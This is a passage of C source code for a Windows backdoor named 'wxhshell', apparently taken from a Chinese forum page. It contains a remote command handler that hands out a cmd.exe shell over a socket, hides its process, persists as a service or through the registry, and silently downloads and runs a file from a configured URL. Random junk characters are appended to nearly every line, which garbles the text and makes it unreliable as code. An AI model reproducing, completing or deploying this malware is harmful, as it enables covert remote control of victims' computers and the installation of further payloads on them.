  else { ' Y.s}Duj  
3gY4h*|`<  
    switch(cmd[0]) { .\b# 0w  
  f m'Qif q^  
  // 帮助 06vxsT@  
  case '?': { xnG,1doa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [<7Vv_\Q  
    break; @d=4C{g%o  
  } 9oJ=:E~CP  
  // 安装 i:,37INMt  
  case 'i': { t /CE,DQ  
    if(Install()) 6GtXM3qtS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kly`V]XE  
    else >L>t$1hXM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); do(komP<\  
    break; '74-rL:i  
    } }w8:`g'T0/  
  // 卸载 *,d>(\&[f  
  case 'r': { 6v}WdK  
    if(Uninstall()) ? $LKn2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -964#>n[  
    else =~~Y@eX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ghd*EXrF H  
    break; G6L /Ny3>_  
    } A 9HJWKO  
  // 显示 wxhshell 所在路径 G(XI TL u*  
  case 'p': { 'Nbae-pf  
    char svExeFile[MAX_PATH]; #7~M1/eH=t  
    strcpy(svExeFile,"\n\r"); aj<=]=hr  
      strcat(svExeFile,ExeFile); 4_w+NI,;  
        send(wsh,svExeFile,strlen(svExeFile),0); H#B~ h4#  
    break; Z:PsQ~M  
    } UR&Uwa&.  
  // 重启 S@a#,,\[  
  case 'b': { yEe4{j$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cq,ox'kGl  
    if(Boot(REBOOT)) 1>SCY _C v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#/,nJm'  
    else { OyG$ ]C  
    closesocket(wsh); AZCbUkq  
    ExitThread(0); RqIic\aD  
    } \=yx~c_$L  
    break; 6NV- &0 _  
    } e'c~;Z\A  
  // 关机 a N|MBX;  
  case 'd': { uYPdmrPB?l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~ YKBxt  
    if(Boot(SHUTDOWN)) F-k3F80=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:N~c'k  
    else { |"Js iT  
    closesocket(wsh); %<oey%ue  
    ExitThread(0); }7Si2S  
    } `V@{#+X  
    break; (N U*PQY6  
    } PEPBnBA&1  
  // 获取shell byYdX'd.  
  case 's': { Uu9\;f  
    CmdShell(wsh); 7mSVL\\^  
    closesocket(wsh); .pgTp X   
    ExitThread(0); f!~gfnn  
    break; Y" s1z<?  
  } bGvALz'  
  // 退出 GQTMQXn(  
  case 'x': { ldo7}<s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1.0S>+^JE  
    CloseIt(wsh); DYU+?[J  
    break; 9}FWO&LiB  
    } Yw=Ve 0  
  // 离开 L{|V13?  
  case 'q': { :J-@+_J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2;G^>BP<  
    closesocket(wsh); adh=Kp e!w  
    WSACleanup(); /a%5!)NE%  
    exit(1); [Z484dS`_  
    break; kScq#<Y&  
        } )eNR4nF  
  } 8/f ,B:by  
  } EZz Ox(g  
iK6L\'k  
  // 提示信息 Y&aFAjj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w4 <FC$  
} ^c}Z$V  
  } .Y!*6I  
@^:R1c![s  
  return; NIeT.!  
} ow*) 1eo  
q_5k2'4K  
// shell模块句柄 Z9s tB>?  
int CmdShell(SOCKET sock) p5c^dC{   
{ Qj? +R F6(  
STARTUPINFO si; aEVBU  
ZeroMemory(&si,sizeof(si)); o&1ewE(O]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mf%0Cx `  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )_OKw?Zi  
PROCESS_INFORMATION ProcessInfo; jEsP: H(0^  
char cmdline[]="cmd"; yHl1:cf(y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FyX\S=  
  return 0; kt.z,<w5O  
} Yjv}@i"  
m5SJB]a/  
// 自身启动模式 CN@bJo2  
int StartFromService(void) f n )m$\2  
{ .`& ($W  
typedef struct Iodk1Y;  
{ hm>JBc:n-  
  DWORD ExitStatus; 6Yebc_, R  
  DWORD PebBaseAddress; *|ez|*-  
  DWORD AffinityMask; F6R+E;"4R'  
  DWORD BasePriority; WY#A9i5Ge  
  ULONG UniqueProcessId; j2SJ4tB /  
  ULONG InheritedFromUniqueProcessId; >4`("#  
}   PROCESS_BASIC_INFORMATION; _eM\ /(v[  
tM]~^U  
PROCNTQSIP NtQueryInformationProcess; ]7n+|@3x  
6Y0k}+j|>E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XRCiv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZIQy}b'  
}z1aKa9  
  HANDLE             hProcess; hIu;\dfwk  
  PROCESS_BASIC_INFORMATION pbi; bmVksi2b  
.)o<'u@Ri  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &{NN!X  
  if(NULL == hInst ) return 0; yKF"\^`@  
Hj't.lg+j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z^+f3-Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QNn\wz_)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F|3Te?_  
#4iSQ$0  
  if (!NtQueryInformationProcess) return 0; G#-t&gO3  
J7q^4M+o:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3 ha^NjE  
  if(!hProcess) return 0; 6r{NW9y'  
U;u@\E@2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;   4Ra  
]:jP*0bLx  
  CloseHandle(hProcess); m/uBM6SXx  
T#kPn#|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N|-M|1w96  
if(hProcess==NULL) return 0; t=o2:p6&  
p&dpDJ?d:=  
HMODULE hMod; Y!s94#OaZ  
char procName[255]; z5`AJrj%  
unsigned long cbNeeded; 3y?I^ .B  
)(yD"]co  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RQhS]y@e  
0'q&7 MV  
  CloseHandle(hProcess); c-1,((p  
a!rU+hiC  
if(strstr(procName,"services")) return 1; // 以服务启动 ?e( y/  
J=?`~?Vbo  
  return 0; // 注册表启动 k|V%*BvY>  
} }2c)UQD8  
L~9Q7 6w  
// 主模块 FyleK+D?  
int StartWxhshell(LPSTR lpCmdLine) [`pp[J-~7  
{ &h^E_]P  
  SOCKET wsl; @p` *MWU  
BOOL val=TRUE; %S*<2F9  
  int port=0; tNpBRk(}  
  struct sockaddr_in door; xE>H:YPm  
]mIcK  
  if(wscfg.ws_autoins) Install(); ; '6`hZ  
VPOzt7:  
port=atoi(lpCmdLine); Z[9) hGh  
-DAkVFsN  
if(port<=0) port=wscfg.ws_port; s'$5]9$S  
Hwb+@'o  
  WSADATA data; fv@mA--  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _{Z!$q6,  
v=m!$~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @nWhUH%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v9*ugu[K9  
  door.sin_family = AF_INET; f6/<lSoW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2fqg,_  
  door.sin_port = htons(port); RBOb/.$  
6ij L+5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uX/K/4  
closesocket(wsl); # <?igtUO  
return 1; TA4>12C6  
} Fh8 8DDJ  
yP<ngi^s=  
  if(listen(wsl,2) == INVALID_SOCKET) { y  J|/^qs  
closesocket(wsl); *sJT\J$D[  
return 1; Ow" e3]}Mt  
} z:Y Z]   
  Wxhshell(wsl); 7];AB;0"  
  WSACleanup(); xdLMy#U2  
k`we_$/Gw  
return 0; k2 _i;v  
/]1$Soo  
} \=1$$EDS9  
Wg5<@=x!G  
// 以NT服务方式启动 :QoW*Gs1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4 EE7gkM5  
{ 0-P,zkK_v  
DWORD   status = 0; @> |3d  
  DWORD   specificError = 0xfffffff; Sj'Iz #  
K0aT(Rc e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G'U! #  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $,.XPK5Q u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )5[OG7/g  
  serviceStatus.dwWin32ExitCode     = 0; Wa5B;X~  
  serviceStatus.dwServiceSpecificExitCode = 0; @?2ES@G+Ji  
  serviceStatus.dwCheckPoint       = 0; +^<s'  
  serviceStatus.dwWaitHint       = 0; En9>onJ  
;;|o+4Ob;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 56?RFnZ&j  
  if (hServiceStatusHandle==0) return; H/2dVUU  
$2E&~W %  
status = GetLastError(); x%'5 rnm|  
  if (status!=NO_ERROR) wS7nTZfw  
{ '" 4;;(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #b eLo J  
    serviceStatus.dwCheckPoint       = 0; >Jk]=_%  
    serviceStatus.dwWaitHint       = 0; I}sb0 Q&  
    serviceStatus.dwWin32ExitCode     = status; [xdi.6 %  
    serviceStatus.dwServiceSpecificExitCode = specificError; \ z3>kvk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cC*H.N  
    return; 7_Op(C4,nC  
  } Bwc_N.w?3  
`m`Y3I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8|{d1dy  
  serviceStatus.dwCheckPoint       = 0; 9vckQCLM  
  serviceStatus.dwWaitHint       = 0; ]7{ e~U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~f:"Q(f+  
} l*w*e.ezQ  
t2(vtxrt  
// 处理NT服务事件,比如:启动、停止 Aw]kQ\P&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FL {$9o\@  
{ #OlPnP2  
switch(fdwControl) X7rsO^}W  
{ hkB|rhJgm  
case SERVICE_CONTROL_STOP: mpNS}n6  
  serviceStatus.dwWin32ExitCode = 0; [(2XL"4D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  5]*!N  
  serviceStatus.dwCheckPoint   = 0; |s,y/svp  
  serviceStatus.dwWaitHint     = 0; +!K*FU=).  
  { C~IE_E&Q`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8},:  
  } >qVSepK3  
  return; "r~/E|Da<  
case SERVICE_CONTROL_PAUSE: _fccZf(yC.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ig<# {V  
  break; iS< ^MD  
case SERVICE_CONTROL_CONTINUE:  [a_o3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #||D,[ _=+  
  break; N 9s+Tm  
case SERVICE_CONTROL_INTERROGATE: 4t-l@zFWb  
  break; [$c"}=g[+  
}; #;= sJ[m4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c#f@v45  
} ";;!c.!^  
q+} \ (|  
// 标准应用程序主函数 e{H(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?./%7v  
{ pqTaN=R8  
y\ })C-&  
// 获取操作系统版本 tXuf!  
OsIsNt=GetOsVer(); yp[,WZt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,pY:kQ  
]:;dJc'  
  // 从命令行安装 G)q;)n;*=  
  if(strpbrk(lpCmdLine,"iI")) Install(); hV+=hX<h  
?E<9H/  
  // 下载执行文件 gLRDd~H  
if(wscfg.ws_downexe) { !b=W>5h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;XQ27,K&  
  WinExec(wscfg.ws_filenam,SW_HIDE); GKKDO+A=!  
} sm;kg=  
|+KwyHE`9  
if(!OsIsNt) { +&dkJ 4g[  
// 如果时win9x,隐藏进程并且设置为注册表启动 2m"cK^  
HideProc(); CYlS8j  
StartWxhshell(lpCmdLine); tLxeq?Oo]  
} z4~p(tl  
else 7#c4.9b?  
  if(StartFromService()) "LSzF_mK  
  // 以服务方式启动 l|{[vZpT  
  StartServiceCtrlDispatcher(DispatchTable); ];jp)P2o  
else AF8:bk,R  
  // 普通方式启动 1J72*`4OK  
  StartWxhshell(lpCmdLine); IA{W-RRb  
'kco. 1{  
return 0; T:Ovh.$  
}
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只看该作者 1 发表于: 2006-10-10
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